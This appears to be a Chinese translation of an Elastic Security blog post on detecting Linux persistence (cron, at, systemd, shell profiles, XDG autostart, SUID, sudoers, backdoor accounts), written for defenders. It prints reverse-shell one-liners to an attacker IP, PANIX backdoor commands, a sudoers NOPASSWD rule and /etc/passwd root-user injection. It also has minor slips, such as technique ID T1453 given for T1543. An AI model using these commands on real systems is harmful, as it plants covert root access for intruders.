Linux 检测工程 - 持久化机制入门

引言

在 Linux 检测工程系列的第二部分中，我们将详细研究 Linux 持久化机制，从常见或直接的方法开始，逐步转向更复杂或更隐蔽的技术。目标是通过研究简单和复杂的方法，了解这些方法的工作原理、如何搜寻它们以及如何制定有效的检测策略，从而使防御者和安全研究人员了解 Linux 持久化技术的基本方面。

对于那些错过了第一部分“使用 Auditd 进行 Linux 检测工程”的人，可以在这里找到它 这里。

在本期中，我们将设置持久化机制，分析日志，并观察潜在的检测机会。为了帮助完成此过程，我们将分享 PANIX，这是由 Elastic Security 的 Ruben Groenewoud 开发的 Linux 持久化工具。PANIX 简化和自定义了持久化设置，以测试您的检测。

到本文结束时，您将对我们描述的每种持久化机制有深入的了解，包括

• 它的工作原理（理论）
• 如何设置它（实践）
• 如何检测它（SIEM 和端点规则）
• 如何搜寻它（ES|QL 和 OSQuery 搜寻）

与我们一起踏入 Linux 持久化的世界，这很有趣！

什么是持久化？

让我们从基础开始。 持久化是指攻击者即使在重新启动、更改密码或其他删除尝试之后，仍能在受感染的系统或网络中维持立足点的能力。

持久化对攻击者至关重要，可确保对目标环境的持续访问。这使他们能够收集情报，了解环境，在网络中横向移动，并努力实现其目标。

鉴于大多数恶意软件都会尝试自动建立某种形式的持久化，因此防御者必须了解此阶段。理想情况下，攻击应该在初始访问期间被检测到并阻止，但这并非总是可行。许多恶意软件样本还利用多种持久化技术来确保持续访问。值得注意的是，这些持久化机制通常可以通过强大的防御措施来检测。

即使检测到攻击，初始访问向量也已修补和缓解，但任何剩余的持久化机制都可能允许攻击者重新获得访问权限并恢复其操作。因此，必须实时监控某些持久化机制的建立并定期搜寻其他机制。

为了支持这项工作，Elastic 在我们的大多数检测工件中使用 MITRE ATT&CK 框架作为对技术进行分类的主要词典。 MITRE ATT&CK 是一个全球可访问的对手战术和技术知识库，基于对真实世界的观察。它通常用作网络安全领域内开发特定威胁模型和方法的基础。通过利用这个综合框架，我们增强了有效检测、理解和缓解持久威胁的能力。

设置

为了确保您准备好检测本文中讨论的持久化机制，启用和更新我们的预构建检测规则非常重要。如果您正在使用自定义规则集并且没有使用我们所有的预构建规则，那么这是一个很好的机会来测试它们并填补任何空白。

要安装、启用和更新我们的预构建规则，请执行以下步骤

1. 导航到 Kibana → 安全 → 规则 → 检测规则 (SIEM)。
2. 您将在这里找到已安装的和潜在的新和/或更新的预构建规则。
3. 使用“添加 Elastic 规则”按钮添加最新的 Elastic 预构建规则。
4. 使用“规则更新”选项卡更新现有规则。

现在，我们准备开始了。

T1053 - 计划任务/作业

在类 Unix 操作系统中，自动执行例行任务以进行系统维护很常见。用于任务计划的一些常见实用程序是 cron 和 at。MITRE 在标识符 T1053 下详细介绍了与此技术相关的信息。

T1053.003 - 计划任务/作业：Cron

Cron 是一个用于计划重复任务在特定时间或时间间隔运行的实用程序。它在大多数 Linux 发行版中默认可用。它是一个 守护进程（即一个后台进程，通常执行任务而不需要用户交互），它从一组默认位置读取 cron 文件。这些文件包含定期和/或在计划时间运行的命令。

计划任务称为 cron 作业，可以根据配置使用用户和 root 权限执行。由于其多功能性，cron 即使在初始访问时未提升到 root 权限的情况下，也是 Linux 持久化的一个简单而稳定的候选者。

有用户特定的和系统范围的 cron 作业。用户特定的 cron 作业通常位于

• /var/spool/cron/
• /var/spool/cron/crontabs/

系统范围的 cron 作业位于以下位置

• /etc/crontab
• /etc/cron.d/
• /etc/cron.daily/
• /etc/cron.hourly/
• /etc/cron.monthly/
• /etc/cron.weekly/

cron 文件语法根据创建 cron 文件的位置略有不同。对于 /etc/ 目录中的 cron 文件，必须指定将执行该作业的用户。

* * * * * root /bin/bash -c '/srv/backup_tool.sh'

相反，在 /var/spool/cron/crontabs/ 目录中创建 cron 文件的用户将执行 cron 文件。

* * * * * /bin/bash -c '/srv/backup_tool.sh'

星号用于创建计划。它们按顺序表示分钟、小时、日期（月份）、月份和日期（星期）。设置“* * * * *”表示 cron 作业每分钟执行一次，而设置“* * 1 12 *”表示 cron 作业在 12 月的第一天每分钟执行一次。有关 cron 计划的信息，请访问 Crontab Guru。

攻击者可以利用这些作业来运行建立反向连接或添加反向 shell 命令的脚本或二进制文件。

* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'

MITRE 在 T1053.003 中指定了与此技术相关的更多信息和真实示例。

通过 T1053.003 - cron 实现持久化

您可以在任何 /etc/ 目录中手动创建系统范围的 cron 文件，或使用 crontab -e 命令创建用户特定的 cron 文件。为了更容易地说明这些文章中介绍的所有持久化机制，我们将使用 PANIX。根据运行它时的权限，您可以像这样建立持久化

sudo ./panix.sh --cron --default --ip 192.168.1.1 --port 2001
[+] Cron job persistence established.

root 用户的默认设置将在 /etc/cron.d/freedesktop_timesync1 处创建一个 cron 文件，该文件每分钟调用一次攻击者系统。查看事件时，我们可以看到以下内容

当 PANIX 被执行时，cron 作业被创建，/usr/sbin/cron 读取 cron 文件的内容并执行它，之后建立网络连接。分析这一系列事件，我们可以识别出针对此概念和其他概念验证的几种检测功能。

Elastic SIEM 包含超过 1,000 条预构建规则，其中 200 多条专门针对 Linux。这些规则在 Elastic 集群上运行，旨在检测我们公共 检测规则存储库 中提供的威胁技术。我们的防御功能包括行为端点规则和内存/文件签名，Elastic Defend 会利用这些规则和签名，并且可以在我们的公共 防护工件存储库 中找到它们。

文件类别包含三个不同的规则，前两个规则侧重于使用 Elastic Defend 进行创建/修改，而第三个规则侧重于通过 文件完整性监控 (FIM) 进行修改。可以使用 Auditbeat 或通过 Fleet 集成来设置 FIM。要正确设置 FIM，务必指定 FIM 应监控的文件的完整路径，因为它不允许使用通配符。因此，“通过文件修改实现潜在的持久化”规则需要手动设置并根据您的特定需求进行调整，因为它需要根据您要检测的持久化技术进行单独的条目。

T1053.002 - 计划任务/作业：at

At 是一个实用程序，用于安排一次性任务在将来的指定时间在 Linux 系统上运行。与处理重复性任务的 cron 不同，At 旨在用于单次执行。At 守护进程 (atd) 会在指定的时间管理和执行这些计划任务。

At 作业的定义是指定其确切的运行时间。根据配置，用户可以使用用户权限或 root 权限安排 At 作业。这使得 At 成为一种无需持久或重复执行即可安排任务的简单选项，但对于攻击者而言用处不大。此外，默认情况下，大多数 Linux 发行版上都没有 At，这使得利用它变得更加困难。但是，它仍然用于持久化，因此我们不应该忽视这项技术。

At 作业存储在 /var/spool/cron/atjobs/ 中。除了 At 作业之外，At 还会在 /var/spool/cron/atspool/ 目录中创建一个后台处理文件。这些作业文件包含计划任务的详细信息，包括要执行的命令和计划时间。

要使用 At 安排任务，您只需提供要运行的命令和执行时间即可。语法很简单

echo "/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'" | at now + 1 minute

上面的示例安排了一个任务，使其在一分钟后从当前时间开始运行。时间格式可以灵活设置，例如 at 5 PM tomorrow 或 at now + 2 hours。可以使用 atq 命令列出 At 作业详细信息，并且可以使用 atrm 删除特定作业。

At 对于一次性任务安排非常有用，并且对于需要重复和单实例任务安排解决方案的用户而言，它可以补充 cron。MITRE 在 T1053.002 中指定了与此技术相关的更多信息和真实示例。

通过 T1053.002 - At 实现持久化

您可以利用上述命令结构或使用 PANIX 来设置 At 作业。确保 At 已安装在您的系统上并且时间设置正确，因为这可能会干扰执行。

./panix.sh --at --default --ip 192.168.1.1 --port 2002 --time 14:49
job 15 at Tue Jun 11 14:49:00 2024
[+] At job persistence established.

默认情况下，根据用于运行程序的权限，将在用户指定的时间间隔建立反向连接。查看 Discover 中的事件

我们看到了 PANIX 的执行，它正在创建 At 作业。接下来，At(d) 会创建两个文件，一个 At 作业和一个 At 后台处理文件。在正确的时间间隔，At 作业会被执行，之后会建立与攻击 IP 的反向连接。查看这些事件，我们发现行为覆盖机会比 cron 少，因为在行为上，它只是 /bin/sh 在执行 shell 命令。但是，我们仍然可以识别以下工件

T1053 - 计划任务/作业：荣誉奖

通过计划任务/作业实现持久化的其他一些荣誉奖包括 Anacron、Fcron、任务后台处理程序 和 Batch。虽然与 cron 和其他机制相比，这些工具由于其非默认安装和有限的多功能性而不太常被恶意软件利用，但仍然值得注意。我们在持久化规则集中包含了其中一些工具的行为检测规则。例如，Batch 作业与 At 作业保存在同一位置，并且受我们的“创建或修改了 At 作业”规则的约束。同样，Anacron 作业也受我们的“创建或修改了 Cron 作业”规则的约束，因为 Anacron 与默认的 Cron 持久化检测设置集成在一起。

搜寻 T1053 - 计划任务/作业

除了依赖 Elastic 的预构建 检测 和 端点规则 之外，防御者还将从手动威胁搜寻中受益匪浅。作为 Elastic 8.14 版本的一部分，Elasticsearch 查询语言 (ES|QL) 语言 正式发布。ES|QL 提供了一种强大的方法来过滤、转换和分析存储在 Elasticsearch 中的数据。对于此用例，我们将利用 ES|QL 来搜寻 Elasticsearch 堆栈中的所有数据，以查找 cron、At、Anacron、Fcron、任务后台处理程序、 和 Batch 持久化的痕迹。

我们可以利用以下 ES|QL 查询，该查询可以根据您的特定环境进行调整

此查询返回 76 个可能需要调查的结果。有些与 PANIX 相关，有些与真正的恶意软件爆炸相关，还有些是误报。

处理误报至关重要，因为系统管理员和其他授权人员通常会使用这些工具。区分合法使用和恶意使用对于维护有效的安全态势至关重要。准确识别使用这些工具背后的意图有助于最大程度地减少误报造成的干扰，同时确保及时解决潜在威胁。

与 cron 类似的程序也有执行历史记录，因为它执行的所有脚本都将 cron 作为其父级。这使我们能够通过 ES|QL 搜寻异常的进程执行

此示例使用 distinct_count 的 host.id 执行聚合。如果观察到异常条目，则可以删除 host_count，并将其他字段（例如 host.name 和 user.name）添加到 by 部分。这有助于查找特定主机上的异常行为，而不是整个环境中的异常行为。如果识别出可疑进程，这也可以作为额外的透视机会。

在这种情况下，查询返回 37 个结果，由于执行此操作的测试堆栈的性质，其中大多数是真阳性。

在您的环境中，这可能会返回大量结果。您可以考虑减少/增加正在搜索的天数。此外，可以增加/减少条目总数 (cc) 和 host_count 以适应您的环境。每个网络都是唯一的；因此，一个环境中的误报可能并非每个环境中的误报。此外，可以增加/减少条目总数 (cc) 和 host_count) 以适应您的环境。每个网络都是唯一的，因此一个环境中的误报在另一个环境中可能不是误报。添加特定于您的需求的排除项将使搜寻更容易。

除了 ES|QL 之外，我们还可以利用 Elastic 的 OSQuery Manager 集成。OSQuery 是一款开源的跨平台工具，它使用 SQL 查询来调查和监控操作系统的性能、配置和安全性，方法是将系统信息公开为关系数据库。它允许管理员和安全专业人员轻松查询系统数据并创建实时监控和分析解决方案。流式遥测技术表示随时间推移的活动，而 OSQuery 侧重于磁盘上的静态存在。这为检测低速/解耦式攻击打开了大门，并且可以通过遥测搜寻捕获原本可能错过的活动。

有关如何设置 OSQuery 的信息，请参阅 Kibana 文档，并且可以在 此处 找到深入解释 OSQuery 的博文。我们可以运行以下实时查询来显示特定系统上存在的所有 cron 文件

返回以下结果。我们可以看到 /etc/cron.d/freedesktop_timesync1 的 file_last_status_change_time 是最近的，并且与其他 cron 文件不同。这是 PANIX 植入的后门。

如果我们想深入挖掘，OSQuery 还提供了一个模块来从 crontab 文件中读取命令，方法是运行以下查询

这向我们展示了命令、cron 作业的位置以及它运行的相应时间表。

分析屏幕截图，我们看到两个可疑的反向 shell 条目，这可能需要额外的手动调查。

有关上述搜寻的概述（包括其他描述和参考）可以在我们的 检测规则存储库 中找到，具体来说，在 Linux 搜寻子目录 中。我们可以利用 ES|QL 和 OSQuery 来搜寻不常见的计划任务文件创建或通过计划任务可执行文件执行的异常进程。 通过 Cron 实现持久化 搜寻包含多个 ES|QL 和 OSQuery 查询来帮助完成此过程。

T1453 - 创建或修改系统进程 (systemd)

Systemd 是 Linux 的系统和服务管理器，被广泛用作传统 SysVinit 系统的替代品。它负责初始化系统、管理进程和处理系统资源。Systemd 通过一系列单元文件进行操作，这些文件定义了如何启动、停止和管理服务。

单元文件具有不同的类型，每种类型都针对特定用途而设计。服务单元是最常见的单元类型，用于管理长时间运行的进程（通常是守护进程）。此外，计时器单元管理基于时间的其他单元的激活，类似于 cron 作业，但集成到 Systemd 中。

本节将讨论 systemd 服务和生成器的 T1453，以及 systemd 计时器的 T1053。

T1453.002 - 创建或修改系统进程：systemd 服务

systemd 管理的服务由单元文件定义，并位于默认目录中，具体取决于操作系统以及服务是在系统范围内运行还是特定于用户。系统范围的单元文件通常位于以下目录中

• /run/systemd/system/
• /etc/systemd/system/
• /etc/systemd/user/
• /usr/local/lib/systemd/system/
• /lib/systemd/system/
• /usr/lib/systemd/system/
• /usr/lib/systemd/user/

特定于用户的单元文件通常位于

• ~/.config/systemd/user/
• ~/.local/share/systemd/user/

一个基本的服务单元文件由三个主要部分组成：[Unit]、[Service] 和 [Install]，并具有 .service 扩展名。以下是一个简单的单元文件示例，可以利用它来实现持久性

[Unit]
Description=Reverse Shell

[Service]
ExecStart=/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'

[Install]
WantedBy=multi-user.target

此单元文件会在每次系统启动时尝试建立反向 shell 连接，并以 root 权限运行。MITRE 在 T1543.002 中概述了与 systemd 服务相关的更多信息和实际示例。

仅仅依靠重启时的持久性可能过于局限。计时器单元文件可以用来克服这个限制，以确保按预定的时间表实现持久性。

T1053.006 - 计划任务/作业：systemd 计时器

计时器单元提供了一种通用的计划任务的方法，类似于 cron 作业，但与 Systemd 生态系统集成得更多。计时器单元指定计划，并与执行任务的相应服务单元关联。计时器单元可以按特定时间间隔、特定日期甚至根据系统事件运行任务。

计时器单元文件通常与服务单元文件位于同一目录中，并具有 .timer 扩展名。将计时器与服务耦合是通过使用相同的单元文件名但更改扩展名来完成的。以下是一个计时器单元文件的示例，它将每小时激活我们之前创建的服务

[Unit]
Description=Obviously not malicious at all

[Timer]
OnBootSec=1min
OnUnitActiveSec=1h

[Install]
WantedBy=timers.target

计时器用途广泛，允许不同的调度选项。一些例子是 OnCalendar=Mon,Wed,Fri 17:00:00，表示每周一、周三和周五下午 5:00 运行服务，以及 OnCalendar=*-*-* 02:30:00，表示每天凌晨 2:30 运行服务。MITRE 在 T1053.006 中介绍了有关 Systemd 计时器的更多详细信息和实际示例。

T1453 - 创建或修改系统进程：systemd 生成器

生成器是由 systemd 在启动时和配置重新加载期间执行的小型可执行文件。它们的主要作用是将非本机配置和执行参数转换为动态生成的单元文件、符号链接或插入，扩展服务管理器的单元文件层次结构。

系统和用户生成器分别从 system-generators/ 和 user-generators/ 目录加载，前面列出的那些会覆盖同名的其他目录。生成器在三个基于优先级的目录中生成输出：generator.early（最高）、generator（中等）和 generator.late（最低）。重新加载守护进程将重新运行所有生成器并从磁盘重新加载所有单元。

系统范围的生成器可以放在以下目录中

• /run/systemd/system-generators/
• /etc/systemd/system-generators/
• /usr/local/lib/systemd/system-generators/
• /lib/systemd/system-generators/
• /usr/lib/systemd/system-generators/

特定于用户的生成器放在以下目录中

• /run/systemd/user-generators/
• /etc/systemd/user-generators/
• /usr/local/lib/systemd/user-generators/
• /lib/systemd/user-generators/
• /usr/lib/systemd/user-generators/

Pepe Berba 的研究探讨了使用 systemd 生成器来建立持久性。一种方法是使用生成器创建一个服务文件，该文件在启动时触发后门。或者，生成器可以直接执行后门，如果网络服务尚未启动，这可能会导致延迟，从而提醒用户。Systemd 生成器可以是二进制文件或 shell 脚本。例如，有效负载可能如下所示

#!/bin/sh
# Create a systemd service unit file in the late directory
cat <<-EOL > "/run/systemd/system/generator.service"
[Unit]
Description=Generator Service

[Service]
ExecStart=/usr/lib/systemd/system-generators/makecon
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOL

mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/generator.service /run/systemd/system/multi-user.target.wants/generator.service

# Ensure the script exits successfully
exit 0

这将创建一个新的服务（generator.service），该服务将在启动时执行 /usr/lib/systemd/system-generators/makecon。由于此方法会创建一个服务（尽管是通过生成器创建的），因此我们将仔细研究 systemd 服务的持久性。让我们看看这些在实践中是如何工作的。

通过 T1453/T1053 实现持久性 - systemd 服务、计时器和生成器

您可以手动在相应的目录中创建单元文件，重新加载守护进程，启用并启动服务，或者使用 PANIX 为您执行此操作。PANIX 将在指定的目录中创建一个服务单元文件，该文件又会通过计时器单元文件以一分钟的间隔运行自定义命令。您还可以将 --default 与 --ip、--port 和 –-timer 一起使用。

sudo ./panix.sh --systemd --custom --path /etc/systemd/system/panix.service --command "/usr/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.1/2003 0>&1'" --timer
Service file created successfully!
Created symlink /etc/systemd/system/default.target.wants/panix.service → /etc/systemd/system/panix.service.
Timer file created successfully!
Created symlink /etc/systemd/system/timers.target.wants/panix.timer → /etc/systemd/system/panix.timer.
[+] Persistence established.

当启用服务单元时，systemd 会在 default.target.wants/ 目录（或其他适当的目标目录）中创建一个符号链接。这告诉 systemd 在系统到达 default.target 时自动启动 panix.service。类似地，计时器单元文件的符号链接告诉 systemd 根据计时器单元文件中定义的计划激活计时器。

我们可以通过查看 Kibana 中的文档来分析并找出发生了什么

执行 PANIX，这会在相应的目录中创建 panix.service 和 panix.timer 单元。然后，使用 systemctl 重新加载守护进程，之后启用并启动 panix.timer，使 systemd 能够在每次计时器触发时运行服务单元的 ExecStart 部分（这会启动出站网络连接）。为了检测潜在的 systemd 持久性，我们利用以下行为规则

搜寻 T1053/T1453 - systemd 服务、计时器和生成器

我们可以通过利用 ES|QL 和 OSQuery 在我们的环境中搜寻不常见的 service/timer/generator 文件创建。 通过 Systemd 实现持久性（计时器） 文件包含几个 ES|QL 和 OSQuery 查询，可以帮助搜寻这些类型的持久性。

T1546.004 - 事件触发执行：Unix shell 配置修改

Unix shell 配置文件是在用户会话期间根据事件（例如，登录/注销或打开/关闭 shell 会话）运行的脚本。这些文件用于自定义 shell 环境，包括设置环境变量、别名和其他特定于会话的设置。由于这些文件是通过 shell 执行的，攻击者可以很容易地利用它们通过将后门注入这些脚本来在系统上建立持久性。

不同的 shell 有自己的配置文件。与 cron 和 systemd 类似，这种持久性机制可以通过用户和 root 权限建立。根据 shell 的不同，系统范围的 shell 配置文件位于以下位置，并且需要 root 权限才能更改

• /etc/profile
• /etc/profile.d/
• /etc/bash.bashrc
• /etc/bash.bash_logout

特定于用户的 shell 配置文件是通过用户执行的操作触发的，并在用户的上下文中执行。根据 shell 的不同，这些通常包括

• ~/.profile
• ~/.bash_profile
• ~/.bash_login
• ~/.bash_logout
• ~/.bashrc

修改后，这些脚本可确保为每个用户登录或注销执行恶意命令。这些脚本按特定顺序执行。当用户通过 SSH 登录时，登录 shell 的执行顺序为

1. /etc/profile
2. ~/.bash_profile（如果存在）
3. ~/.bash_login（如果存在）
4. ~/.profile（如果存在）

对于非登录交互式 shell 初始化，将执行 ~/.bashrc。通常，为了确保在登录时也执行此配置文件，会在 ~/.bash_profile、~/.bash_login 或 ~/.profile 中获取 ~/.bashrc。此外，可以在 shell 终止时将后门添加到 ~/.bash_logout 配置文件中以实现持久性。

在这些文件中植入后门时，重要的是不要在执行链中出错，这意味着选择正确的配置文件和选择合适的有效负载都很重要。典型的反向 shell 连接会使终端冻结，而将反向 shell 连接发送到后台则会导致其出现故障。潜在的有效负载可能如下所示

(nohup bash -i > /dev/tcp/192.168.1.1/1337 0<&1 2>&1 &)

此命令使用“nohup”（不挂断）将交互式 bash 反向 shell 作为后台进程运行，确保即使启动用户注销后它也能继续运行。然后使用 & 在后台执行整个命令，并用括号括起来创建一个子 shell，防止对父 shell 的操作造成任何干扰。

警惕其他类型的后门，例如在运行 sudo 时创建虚假“[sudo] password for…”提示的凭据窃取程序或恶意二进制文件的执行。MITRE 在 T1546.004 中指定了与此技术相关的更多信息和真实示例。

通过 T1546.004 实现持久化 - shell 配置文件修改

您可以手动或使用 PANIX 将 bash 有效负载添加到 shell 配置文件中。当 PANIX 以用户权限运行时，它会通过修改 ~/.bash_profile 来建立持久性。使用 root 权限，它会修改 /etc/profile 文件以实现系统范围的持久性。

sudo ./panix.sh --shell-profile --default --ip 192.168.1.1 --port 2004

要触发它，请通过 shell 使用 su --login root 以 root 身份登录或通过 SSH 登录。shell 配置文件将按顺序解析和执行，从而产生以下执行链

PANIX 将后门植入 /etc/profile，接下来执行 su --login root 以触发有效负载，UID/GID 更改为 root，并通过注入的后门发起网络连接。通过 SSH 登录时会发生类似的过程。我们可以检测到攻击链的几个步骤。

涵盖 shell 配置文件修改持久性的检测和端点规则

寻找 T1546.004 - shell 配置修改

我们可以利用 ES|QL 和 OSQuery 寻找 shell 配置文件创建/修改，以及 SSHD 子进程。《Shell 修改持久性》搜索规则包含了几个这样的搜索查询。 Shell 修改持久性

T1547.013 - 启动或登录自动启动执行：XDG 自动启动条目

跨桌面组 (XDG) 是一组 Unix 桌面环境标准，描述了用户登录时应如何自动启动应用程序。XDG 自动启动规范特别有趣，因为它定义了一种基于桌面条目文件自动启动应用程序的方法，这些文件是扩展名为 .desktop 的纯文本文件。

.desktop 文件通常用于配置应用程序在菜单中的显示方式以及它们的启动方式。通过利用 XDG 自动启动，攻击者可以将恶意应用程序配置为在用户登录其桌面环境时自动运行。

这些文件可以放置的位置根据持久性是为所有用户（系统范围）还是特定用户建立而有所不同。它还取决于使用的桌面环境；例如，KDE 拥有与 Gnome 不同的配置位置。默认的系统范围自动启动文件位于需要 root 权限才能修改的目录中，例如

• /etc/xdg/autostart/
• /usr/share/autostart/

默认的用户特定自动启动文件（root 用户特定的自动启动文件除外）仅需要用户级权限。这些文件通常位于

• ~/.config/autostart/
• ~/.local/share/autostart/
• ~/.config/autostart-scripts/（不属于 XDG 标准，但 KDE 使用）
• /root/.config/autostart/*
• /root/.local/share/autostart/
• /root/.config/autostart-scripts/

一个在用户登录时执行二进制文件的 .desktop 文件示例如下所示

[Desktop Entry]
Type=Application
Exec=/path/to/malicious/binary
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=Updater

Volexity 最近发布了关于 DISGOMOJI 恶意软件的研究，该恶意软件被发现通过在 ~/.config/autostart/ 目录中放置一个 .desktop 文件来建立持久性，该文件将执行植入在系统上的恶意后门。由于它可以通过用户/root 权限建立，因此它是自动持久性实现的一个有趣候选者。此外，MITRE 在 T1547.013 中指定了与此技术相关的更多信息和真实示例。

通过 T1547.013 实现持久化 - 跨桌面组 (XDG)

您可以手动或通过 PANIX 确定覆盖范围并动态分析此技术。在分析此技术时，请确保您的测试系统上可用 XDG，因为它旨在用于具有 GUI 的系统（XDG 也可以在没有 GUI 的情况下使用）。当 PANIX 以用户权限运行时，它会通过修改 ~/.config/autostart/user-dirs.desktop 来执行 ~/.config/autostart/.user-dirs 并实现用户特定的持久性。使用 root 权限，它会修改 /etc/xdg/autostart/pkc12-register.desktop 来执行 /etc/xdg/pkc12-register 并实现系统范围的持久性。

sudo ./panix.sh --xdg --default --ip 192.168.1.1 --port 2005
[+] XDG persistence established.

重新启动系统并收集日志后，基于 GNOME 的系统将出现以下事件。

我们可以看到 PANIX 创建了 /etc/xdg/autostart 目录和 pkc12-register/pkc12-register.desktop 文件。它授予后门脚本执行权限，之后就建立了持久性。当用户登录时，会解析 .desktop 文件，并且 /usr/libexec/gnome-session-binary 执行其内容，这反过来会启动反向 shell 连接。在这里，我们同样可以检测到攻击链的几个部分。

同样，文件类别有两个不同的规则：前者侧重于使用 Elastic Defend 创建/修改，而后者侧重于通过 FIM 修改。

寻找 T1547.013 - XDG 自动启动条目

寻找通过 XDG 实现的持久性涉及在已知位置创建 XDG .desktop 文件，以及通过 ES|QL 和 OSQuery 从会话管理器父级生成的异常子进程。《XDG 持久性》搜索规则包含了几个用于搜索 XDG 持久性的查询。 XDG 持久性

T1548.001 - 滥用提升控制机制：setuid 和 setgid

设置所有者用户 ID (SUID) 和 设置组 ID (SGID) 是 Unix 文件权限，允许用户分别以可执行文件的所有者或组权限运行可执行文件。当在 root 用户拥有的可执行文件上设置 SUID 位时，运行该可执行文件的任何用户都将获得 root 权限。类似地，当在可执行文件上设置 SGID 位时，它将以拥有该文件的组的权限运行。

SUID 和 SGID 后门的典型目标包括常见的系统二进制文件，例如 find、vim 或 bash，它们经常可用且被广泛使用。GTFOBins 提供了一个常见 Unix 二进制文件列表，可以利用这些二进制文件获取 root shell 或未授权的文件读取权限。系统管理员在管理 SUID 和 SGID 二进制文件时必须小心谨慎，因为配置不当的权限可能导致严重的安全漏洞。

要利用这一点，系统上必须存在配置错误的 SUID 或 SGID 二进制文件，或者必须获得 root 级权限才能创建后门。典型的权限提升枚举脚本使用 find 枚举整个文件系统以查找这些二进制文件的存在。

SUID 和 SGID 二进制文件在 Linux 上很常见，并且默认情况下在系统上可用。通常，这些无法被利用。配置错误的 SUID 二进制文件的示例如下所示

find / -perm -4000 -type f -exec ls -la {} \;
-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

/bin/bash 二进制文件不是默认的 SUID 二进制文件，会导致安全风险。攻击者现在可以运行 /bin/bash -p 来运行 bash 并在执行时保留 root 权限。有关此内容的更多信息，请访问 GTFOBins。尽管 MITRE 将其定义为权限提升/防御绕过，但它也可以（如所示）用于持久性。有关此技术的更多信息，请访问 MITRE 的 T1548.001。

通过 T1548.001 实现持久化 - setuid 和 setgid

此方法需要 root 权限，因为它将 SUID 位设置到一组可执行文件

sudo ./panix.sh --suid --default
[+] SUID privilege granted to /usr/bin/find
[+] SUID privilege granted to /usr/bin/dash
[-] python is not present on the system.
[+] SUID privilege granted to /usr/bin/python3

将 SUID 权限设置为二进制文件后，可以以允许用户保留 root 权限的方式执行它

/usr/bin/find . -exec /bin/sh -p \; -quit
whoami
root

查看它生成的事件，我们可以看到用户 ID 和真实用户 ID 之间的差异

在使用 sudo 执行 PANIX 后，使用 chmod 将 SUID 权限授予 /usr/bin/find、/usr/bin/dash 和 /usr/bin/python3。随后，利用 /usr/bin/find 以特权模式（-p）运行 /bin/sh，从而获取 root shell。通常，进程的真实用户 ID 与有效用户 ID 相匹配。但是，也有一些例外情况，例如使用 sudo、su 或此处演示的 SUID 二进制文件时，真实用户 ID 与有效用户 ID 不同。利用我们对 GTFOBins 和执行链的了解，我们可以检测到 SUID 和 SGID 滥用的几个指标。

查找 T1548.001 - setuid 和 setgid

查找 SUID 和 SGID 文件最简单有效的方法是通过 OSQuery 搜索文件系统中的这些文件，并注意异常文件。OSQuery SUID 查找 规则可以帮助您查找此技术。

T1548.003 - 滥用权限提升控制机制：sudo 和 sudo 缓存（sudoers 文件修改）

sudo 命令允许用户以超级用户或其他用户的权限执行命令。sudoers 文件管理 sudo 权限，它规定了谁可以使用 sudo 以及他们可以运行哪些命令。主配置文件位于 /etc/sudoers。

此文件包含 sudo 访问的全局设置和用户特定规则。此外，还有一个目录用于存储其他 sudoers 配置文件，位于 /etc/sudoers.d/。此目录中的每个文件都被视为主 sudoers 文件的扩展，允许进行模块化和有组织的 sudo 配置。

系统管理员和攻击者都可能错误配置 sudoers 文件及其扩展。常见的意外错误配置可能是过于宽松的规则，授予用户超过必要的访问权限。相反，具有 root 访问权限的攻击者可以故意修改这些文件，以确保他们保持提升的访问权限。

允许攻击者以任何用户身份运行任何命令而无需密码提示的错误配置或后门示例如下所示

Attacker ALL=(ALL) NOPASSWD:ALL

通过利用此类错误配置，攻击者可以保持持久的 root 访问权限。例如，使用上述后门配置，攻击者可以通过执行 sudo /bin/bash 获取 root shell。与之前的技术类似，MITRE 也将此技术归类为权限提升/防御规避。当然，这又是正确的，但它也是一种建立持久性的方法。有关 T1548.003 的更多信息，请参见此处。

通过 T1548.003 建立持久性 - sudoers 文件修改

可以使用 sudo -l 命令列出当前主机上用户允许（和禁止）的命令。默认情况下，非 root 用户在不指定密码的情况下无法使用 sudo 运行任何命令。

sudo -l
[sudo] password for attacker:

让我们为 attacker 用户添加一个后门条目

sudo ./panix.sh --sudoers --username attacker
[+] User attacker can now run all commands without a sudo password.

在 sudoers 文件中添加后门并重新运行 sudo -l 命令后，我们看到攻击者现在可以在不指定密码的情况下使用 sudo 运行系统上的任何命令。

> sudo -l
> User attacker may run the following commands on ubuntu-persistence-research:
>  (ALL : ALL) ALL
>  (ALL) NOPASSWD: ALL

植入此后门后，除了创建 /etc/sudoers.d/attacker 文件外，不会留下太多痕迹。

也可以通过添加到 /etc/sudoers 文件来建立此后门，这不会生成文件创建事件。可以通过 FIM 捕获此事件。

查找 T1548.003 - sudoers 文件修改

OSQuery 提供了一个模块，可以通过简单有效的实时查找显示所有 sudoers 文件和规则，可在 通过现有 Sudoers 文件进行权限提升识别 中找到。

T1098/T1136 - 帐户操作/创建

可以通过创建或修改用户帐户来建立持久性。通过操纵用户凭据或权限，攻击者可以确保长期访问受感染的系统。本节介绍通过用户帐户操作实现持久性的各种方法。MITRE 将此部分分为 T1098（帐户操作）和 T1136（创建帐户）。

T1136.001 - 创建帐户：本地帐户

创建新用户帐户是建立持久性的直接方法。具有 root 权限的攻击者可以添加新用户，即使删除了其他后门，也能确保他们保持对系统的访问权限。例如

useradd -m -s /bin/bash backdooruser
echo 'backdooruser:password' | chpasswd

这将创建一个名为 backdooruser 的新用户，密码为 password。

T1098 - 帐户操作：用户凭据修改

修改现有用户的凭据也可以提供持久访问权限。这可能涉及更改特权用户帐户的密码。

echo 'targetuser:newpassword' | chpasswd

这会将 targetuser 的密码更改为 newpassword。

T1098 - 帐户操作：直接修改 /etc/passwd 文件

直接写入 /etc/passwd 文件是修改用户帐户的另一种方法。这种方法允许攻击者手动添加或修改用户条目，从而可能避免被检测到。

echo "malicioususer:<openssl-hash>:0:0:root:/root:/bin/bash" >> /etc/passwd

其中 <;openssl-hash> 是可以通过 openssl passwd "$password". 生成的哈希值。

上面的命令创建一个名为 malicioususer 的新用户，将其添加到 sudo 组，并设置密码。类似地，也可以在 /etc/shadow 文件上执行此攻击，方法是将用户密码的哈希值替换为已知哈希值。

